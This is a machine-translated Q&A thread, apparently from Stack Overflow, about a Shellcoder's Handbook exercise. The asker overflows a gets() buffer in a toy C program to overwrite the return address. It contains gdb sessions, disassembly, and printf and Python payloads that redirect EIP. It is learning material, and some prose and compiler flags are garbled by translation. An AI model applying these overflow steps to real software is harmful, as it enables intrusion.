堆栈溢出(shellcoders手册)

问题描述:

我在这个例子w.r.t. shellcoder手册(第二版),并有一定的问题,关于这个例子堆栈堆栈溢出(shellcoders手册)

[email protected]:~/pentest# gdb -q sc 
Reading symbols from /root/pentest/sc...done. 
(gdb) set disassembly-flavor intel  
(gdb) list  
1 void ret_input(void){  
2  char array[30]; 
3  
4  gets(array); 
5  printf("%s\n", array); 
6 } 
7 main(){ 
8  ret_input(); 
9  
10  return 0; 
(gdb) disas ret_input 
Dump of assembler code for function ret_input: 
    0x08048414 <+0>: push ebp 
    0x08048415 <+1>: mov ebp,esp 
    0x08048417 <+3>: sub esp,0x24 
    0x0804841a <+6>: lea eax,[ebp-0x1e] 
    0x0804841d <+9>: mov DWORD PTR [esp],eax 
    0x08048420 <+12>: call 0x804832c <[email protected]> 
    0x08048425 <+17>: lea eax,[ebp-0x1e] 
    0x08048428 <+20>: mov DWORD PTR [esp],eax 
    0x0804842b <+23>: call 0x804834c <[email protected]> 
    0x08048430 <+28>: leave  
    0x08048431 <+29>: ret  
End of assembler dump. 
(gdb) break *0x08048420 
Breakpoint 1 at 0x8048420: file sc.c, line 4. 
(gdb) break *0x08048431 
Breakpoint 2 at 0x8048431: file sc.c, line 6. 
(gdb) run 
Starting program: /root/pentest/sc 

Breakpoint 1, 0x08048420 in ret_input() at sc.c:4 
4  gets(array); 
(gdb) x/20x $esp 
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460 
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b 
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8 
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc 
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4 
(gdb) continue 
Continuing. 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD 

Breakpoint 2, 0x08048431 in ret_input() at sc.c:6 
6 } 
(gdb) x/20x 0x0bffff51c 
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141 
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343 
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500 
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc 
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4 
(gdb) ^Z 
[1]+ Stopped     gdb -q sc 
[email protected]:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5� 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:� 
[email protected]:~/pentest# 

我正在48个字节“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ X35 \ X84 \ X04 \ X08”,要重写RET地址,所有的工作。但是,当我试图用从本书的第一版例如i面临着一些问题

[email protected]:~/pentest# gdb -q sc 
Reading symbols from /root/pentest/sc...done. 
(gdb) disas ret_input 
Dump of assembler code for function ret_input: 
    0x08048414 <+0>: push %ebp 
    0x08048415 <+1>: mov %esp,%ebp 
    0x08048417 <+3>: sub $0x24,%esp 
    0x0804841a <+6>: lea -0x1e(%ebp),%eax 
    0x0804841d <+9>: mov %eax,(%esp) 
    0x08048420 <+12>: call 0x804832c <[email protected]> 
    0x08048425 <+17>: lea -0x1e(%ebp),%eax 
    0x08048428 <+20>: mov %eax,(%esp) 
    0x0804842b <+23>: call 0x804834c <[email protected]> 
    0x08048430 <+28>: leave  
    0x08048431 <+29>: ret  
End of assembler dump. 
(gdb) 

为什么程序已采取24(十六进制)= 36(十进制),关于阵列字节,但我用48重写36个字节的数组,8个字节的esp和ebp(我怎么知道的),但有钢有4个不明原因的字节

好吧,让我们试试从第一版本改写所有数组功能,在书中他们有“sub & 0x20,%esp”so code is

main(){ 
int i=0; 
char stuffing[44]; 

for (i=0;i<=40;i+=4) 
*(long *) &stuffing[i] = 0x080484bb; 
puts(array); 

我有 “” 子& 0X24,%ESP”,所以我的代码将是shellcoders'手册

[[email protected] /]# (./adress_to_char;cat) | ./overflow 
input 
""""""""""""""""""a<u___.input 
input 
input 

和我的结果

[email protected]:~/pentest# (./ad_to_ch;cat) | ./sc 
5�h���ل$���������h����4��0��˄ 
inout 
Segmentation fault 
[email protected]:~/pentest# 

有什么问题的

main(){ 
int i=0; 
char stuffing[48]; 

for (i=0;i<=44;i+=4) 
*(long *) &stuffing[i] = 0x08048435; 
puts(array); 

结果呢? 我用编译

-fno堆叠保护器-mpreferred堆叠边界= 2

这一列:

为(I = 0;我< = 44; I + = 4);

从最后删除;。我还假设o(字母o)而不是0(零)在这里输入错误。

的问题是,你的循环执行;(又名什么都不做),直到我变大,然后44,然后你执行与i = 44至极的下一个命令是数组的界限之外,你会得到Segmentation Error。您应该注意这种类型的错误,因为它几乎不可见,并且它是完全有效的c代码。

+0

对不起,我的文字错误,只是我手写的代码(更正)。 – theqbit 2012-08-13 15:46:00

+0

所以不是这样。 – 2012-08-14 10:47:26

我建议你最好通过尝试在GDB中获得溢出缓冲区所需的字节量。我整理了你在你的问题提供并运行它通过GDB来源:

gdb$ r < <(python -c "print('A'*30)") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
[Inferior 1 (process 29912) exited normally] 

(请注意,我用Python创建我的投入,而不是一个编译的C程序这真的不要紧,用你喜欢什么。 )

所以30个字节都可以。让我们尝试一些:

gdb$ r < <(python -c "print('A'*50)") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x41414141 
0x41414141 in ??() 

gdb$ i r $eip 
eip   0x41414141 0x41414141 

我们eip寄存器现在包含0x41414141,这是ASCII AAAA。现在,我们就可以逐步检查哪儿,我们必须把价值在我们的缓冲区,更新eip

gdb$ r < <(python -c "print('A'*40+'BBBB')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x8004242 
0x08004242 in ??() 

B0x42。因此,当使用40 A和四个B时,我们覆盖了eip的一半。因此,我们垫42 A的,然后把价值,我们希望与更新eip

gdb$ r < <(python -c "print('A'*42+'BBBB')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x42424242 
0x42424242 in ??() 

我们得到了完全控制eip!我们来试试吧。在ret_input末设置一个断点(因为我重新编译的二进制文件的地址可能会有所不同):

gdb$ dis ret_input 
Dump of assembler code for function ret_input: 
    0x08048404 <+0>: push %ebp 
    0x08048405 <+1>: mov %esp,%ebp 
    0x08048407 <+3>: sub $0x38,%esp 
    0x0804840a <+6>: lea -0x26(%ebp),%eax 
    0x0804840d <+9>: mov %eax,(%esp) 
    0x08048410 <+12>: call 0x8048310 <[email protected]> 
    0x08048415 <+17>: lea -0x26(%ebp),%eax 
    0x08048418 <+20>: mov %eax,(%esp) 
    0x0804841b <+23>: call 0x8048320 <[email protected]> 
    0x08048420 <+28>: leave 
    0x08048421 <+29>: ret  
End of assembler dump. 
gdb$ break *0x8048421 
Breakpoint 1 at 0x8048421 

举个例子,让我们修改eip所以一旦从ret_input我们在函数的开头再次最终返回:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�  

--------------------------------------------------------------------------[code] 
=> 0x8048421 <ret_input+29>: ret  
    0x8048422 <main>: push ebp 
    0x8048423 <main+1>: mov ebp,esp 
    0x8048425 <main+3>: and esp,0xfffffff0 
    0x8048428 <main+6>: call 0x8048404 <ret_input> 
    0x804842d <main+11>: mov eax,0x0 
    0x8048432 <main+16>: leave 
    0x8048433 <main+17>: ret  
-------------------------------------------------------------------------------- 

Breakpoint 1, 0x08048421 in ret_input() 

我们垫42 A的,然后的ret_input地址追加到我们的缓冲区。我们在ret触发器上的断点。

gdb$ x/w $esp 
0xffffd30c: 0x08048404 

在堆栈顶部有我们缓冲区的最后一个DWORD - ret_input的地址。

gdb$ n 
0x08048404 in ret_input()  

gdb$ i r $eip 
eip   0x8048404 0x8048404 <ret_input> 

执行下一条指令会将该值从堆栈中弹出并相应地设置eip

附注:我推荐this guy的.gdbinit文件。

+0

我已经通过gdb/command promt覆盖了这个源文件,并且需要通过另一个源文件覆盖 'root @ bt:〜/ pentest#printf''“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ x35 \ x84 \ x04 \ x08” 。/ sc' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:'' 根@ BT:〜/ pentest#' – theqbit 2012-08-14 13:05:39

+1

我不太清楚你要完成的任务。你能改述你的目标是什么吗? 上传您正在处理的二进制文件可能也是一个好主意,以避免出现差异。 – f00id 2012-08-14 14:06:54

+0

我的目标是通过[this]尝试溢出[我的程序](http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=sc.c&can=2&q=#makechanges)代码(http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=ad_to_ch.c&can=2&q=)。感谢您的帮助 – theqbit 2012-08-14 15:04:17